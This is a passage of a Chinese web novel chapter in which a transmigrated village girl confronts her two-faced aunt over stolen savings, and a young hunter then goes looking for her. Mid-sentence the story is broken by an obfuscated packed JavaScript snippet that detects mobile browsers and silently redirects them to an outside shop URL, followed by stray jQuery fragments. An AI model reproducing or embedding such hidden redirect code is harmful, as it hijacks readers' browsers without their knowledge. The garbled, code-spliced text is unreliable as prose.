文趣网 > 其他小说 > 双面太子诊疗手记 > 4. 千面人心险难测。
    张杏娘被这锐利的眼神惊到,心里划过一丝疑惑。

    沈明微敛下眼中的厌恶,才抬起头:“爹爹房间匣子里的半贯钱不见了,是不是王耕拿走了?”

    见眼前人竟然口齿伶俐,张杏娘眼睛瞪大,惊叫道:“大丫?这几日你是去哪了?”

    “你这是……你这是……”她看着沈明微几乎说不出话。

    沈明微冷笑,指了指已经额上被粗布包起来的伤口:“不过是那日被表姨骂了一顿,又在山上摔了一下,这可不就清醒了?”

    在原主的回忆里,张杏娘那日同原主说,要将原主许配给那个地痞儿子。

    原主只是摇头不愿,张杏娘便觉得自己被侮辱,抬手就抽了原主一耳光,原主本能躲避,却引来张杏娘更严厉的打骂。

    原主委屈难过跑上山一不小心摔了,这才有沈明微穿进这具躯体。

    张杏娘看着眼前这丫头神志清醒,和从前呆呆傻傻、话都说不清楚的表侄女完全不一样。

    要不是长的一模一样,还以为换了个人!

    她脸上惊讶之色没褪去,眼中却闪动起丝丝泪花。

    “好,好,真是山神菩萨庇佑,因祸得福,你爹娘在地下也瞑目了……”

    张杏娘一改方才进门时的态度,反而拉着沈明微的手,摸了摸沈明微的脸颊,口头上念道:

    “真像啊,你娘当年可是十里八乡的美人,现在你不傻了,这双眸子倒是像极了她。”

    沈明微不是原主,不想和她玩这个亲昵的把戏,更何况看到这张脸,脑海中全是原主的记忆,是张杏娘曾眉眼吊捎,对原主憎恨打骂。

    沈明微冷着脸问:“是不是王耕把我爹攒下的钱拿走了,还把我家弄成如今这副样子。”

    原主的爹死了之前病了一场,原本抄书攒下的一些积蓄也花去不少,剩下半贯钱怎么也不愿再拿来买药,说要给原主留着。

    刚刚她将匣子打开,里面连一个子都没有。

    张杏娘闻言笑脸一凝,缓缓收回手:“你是觉得这都是我儿王耕干的?”

    沈明微只是看着她,不置一词,态度不言而喻。

    张杏娘勉强一笑,没了方才热络,语气倒没变:“阿耕昨日是来过,你人这几天都不在,怎么就料定是阿耕拿了的?”

    “前几日阿耕才从赌庄赚回来不少,给家里添置了不少东西,昨日还买了根铜簪来见你,没见到你,他回去还和我发了好一通脾气,他怎会要你这半贯钱。”

    沈明微声音温软,话里却满是刺:“我不知道是谁拿的,我只知王耕嗜赌如命,一个赌徒他什么做不出来?”

    这一番话讲得毫不客气,可比原主不老实站着任她打骂严重多了,用这般讥诮的语气当面说人儿子,是直接打张杏娘的脸。

    张杏娘被刺得面颊微臊,眼中划过一丝刻薄,又被她很快掩下。

    她双手一拍,恼怒恨声道:“是是是,阿耕素日里是混蛋了点,难免让你觉得他人不靠谱,这样,我回去就问他,要是真是他拿的,我就拿根棍儿,打得他给你送回来。”

    “表侄女,别生气了啊,姨这就帮你收拾。”说着,张杏娘软了语气,主动弯下腰将地上散落的物件捡起来。

    沈明微看着她的动作半晌,才拿起墙角的扫帚扫地。

    原主这钱恐怕是拿不回来了。

    沈明微多少存故意激怒张杏娘心思,想着真闹起来,张杏娘仗着自己是亲戚逼婚一个刚死了爹的孤女,传出去怎么都不好听。

    可方才她冷言冷语,张杏娘却像突然变成一个热心表姨。

    俗话说,伸手不打笑脸人,眼下张杏娘态度软和,一副万事都好商量的样子,她又不是真的原主,也不可能恨得暴起伤人。

    心头沉甸甸还压着原主的心结,沈明微眼下却也没法真的和张杏娘彻底撕破脸。

    她孤立无援,只能先从长计议。

    接下来,张杏娘果真成了个心疼表侄女的表姨,不仅帮她收拾屋子,见她连在火塘上生火煮饭都不会,竟然也一起教了。

    张杏娘边教她边笑话:“你这丫头,之前傻是傻了点,慢些做几遍还是会些的,怎么现在跟那十指不沾阳春水的千金小姐一样,这个不知道那个也不会。”

    “你娘可不一样,当年你娘不仅长得好看,人也勤快肯干,还嫁给你爹这个读书人,你可得学学,要是嫁人了还像现在一样什么都不会,可要不得。”

    张杏娘说这些话时除了有些缅怀过去的怅然,也有些暗暗得意。

    沈明微听得生理不适,但张杏娘教别的倒也认真,她真要好好学,以后再也没有现代科技了,现在连水都要自己去井边提。

    她们提着桶在井边,沈明微提水时,张杏娘就上手教:“来,握住这个辘轳把,放松,等桶沉下去,抖点绳……”

    白日村里人少,井边倒是会偶尔来些村民提水,看到张杏娘和沈明微就打两下招呼。

    “哟,杏娘,你这做什么呢?”走来的妇人笑问。

    张杏娘抬起头,笑得亲热:“教我这表侄女提水呢,她前两日在山上摔了一跤,这不因祸得福,摔得人也不傻了,日后啊,可以干些活计了……”

    牛花村不大百余口人,家家户户都相识,自然也知道沈明微什么情况。

    “还有这等事?真是神仙庇佑。”妇人也奇道,站在一边,见张杏娘教得认真,叹了口气:“杏娘你心肠可真好……”

    “好什么好,我就这么一个表侄女孤苦无依的,我要不照拂着些,百年之后,大丫娘都得打我。”

    张杏娘一副抱怨的语气反倒是更得同情,妇人也被惹出愁肠:“终究是人各有命,当年大丫娘人人夸好,嫁得也好,倒是早早去了。”

    张杏娘知道这是拐着弯安慰她呢,也多少露出悲悯之色。

    当年出嫁时,谁不拿她们嫁人俩作对比,现在她丈夫儿子是没出息,当年有出息的人呢,还不是比她先成了一坯黄土。

    沈明微一边听他们唠嗑,手上拧辘轳把提水的动作一丝不苟。

    她这位表姨果真好名声在外,丈夫爱占小便宜惹人嫌,儿子地痞流氓嗜赌成性,她倒是成了出淤泥而不染的白莲花了。

    记忆里那些对原主的打骂,可都是来自这个佛面蛇心的表姨。

    前世沈明微做了多少心理疾病方面的研究,人心人性却还是始终难看透。

    怔忪间,她手上力气稍有松懈,那木把整个弹开,装满水的桶牵引着绳索

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861512|212017||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    飞快朝井底坠下,发出巨大的声响。

    张杏娘回过神,猛推了沈明微一把,惊骂道:“哎!你这蠢丫头怎么松手了!”

    ……

    石里村的午后。

    弃奴肩头担着两捆柴,那柴上还拴着两只山鸡,颜色鲜亮。

    “弃奴啊,你这是在哪打的山鸡?”路过弃奴身边的人惊讶。

    “山上。”

    中年男子走过来,瞅见山鸡竟然还活着:“这两只卖了能换不少钱呢,明日我送儿子去皇庄,进城,可以捎你一段。”

    他们村是俞洲郡管着,这个郡隔几个城就是繁华的京都,不要脸点讲他们也算是皇城根上人,附近的皇庄自然不少,村里没地的人也会去皇庄当雇农。

    “不卖。”弃奴干脆利落回答。

    “不卖你一个人吃得完吗?不如我提两斤酒来,咱俩杀了下下酒?”中年男子看着肥硕的山鸡,垂涎欲滴。

    “不行。”弃奴语气平和,绕过人朝家里走去。

    中年男子被弃奴拒绝也不气,只是无奈笑:“那我儿子上个月从皇庄带来的烧春酒你可就没口福了,听说皇帝老儿都爱喝这酒。”

    “大伯,你自己喝吧。”弃奴只丢下这句话。

    中年男子只得摇摇头遗憾走了。

    弃奴偏头看着山鸡露出的稚羽弯了弯眉眼。

    这是给姐姐吃的,她吃不惯那些菜,难怪那么瘦,好在他还会打山鸡。

    弃奴踏进院门却没看到沈明微的身影,他将柴靠在院边,往屋里走。

    屋里冷冷清清,一个人都没有。昨日对他笑得明媚的人,好像从来没有出现过。

    弃奴喊了几声都没人应,心底那点暖意一点点抽去。

    “弃奴?”

    听到院外头隐约有人喊他名字,弃奴奔出去,却是隔壁李二婶。

    弃奴问:“二婶,明微姐姐呢?”

    李二婶面露疑惑,随即反应过来:“你问的是沈大丫吧?今早我见她出去了,那个方向应该是回家了吧。”

    “回家?她家里不是一个人吗?”

    李二婶笑道:“是啊,总不能住你这里是不是,是不是她走了没有告诉你啊?”

    弃奴摇摇头,姐姐早上确是没和他说过。他却也不认李二婶的话,住他家也没什么不好,他也是一个人,两个人在一块就不会孤单了。

    “那我去找她。”弃奴说着就要出门,想到什么又折返,将两只山鸡拿起,走到门口却李二婶一把拉住。

    “你做什么去?”李二婶皱眉。

    她的目光又落在那两只山鸡上,叹道:“要不是你十三岁后离家,我能看着你长大,听二婶一句劝,走了就算了,别去找,你在山上救她下来已经是仁至义尽了,为了她的名声着想,也不能去找了。”

    终究是乡里,那年弃奴离家后,听说在外头有出息了,时不时寄了些东西回来给老父,她作为邻里也沾了不少光。

    后头老父都去世了,弃奴也没回来操办,前两年回来,弃奴还被邻里骂了好一阵不孝。她知道这孩子老实,人又一根筋,现在怎么也要劝上一劝。

    弃奴定定看着李二婶,语气坚定。

    “二婶,我要去找她。”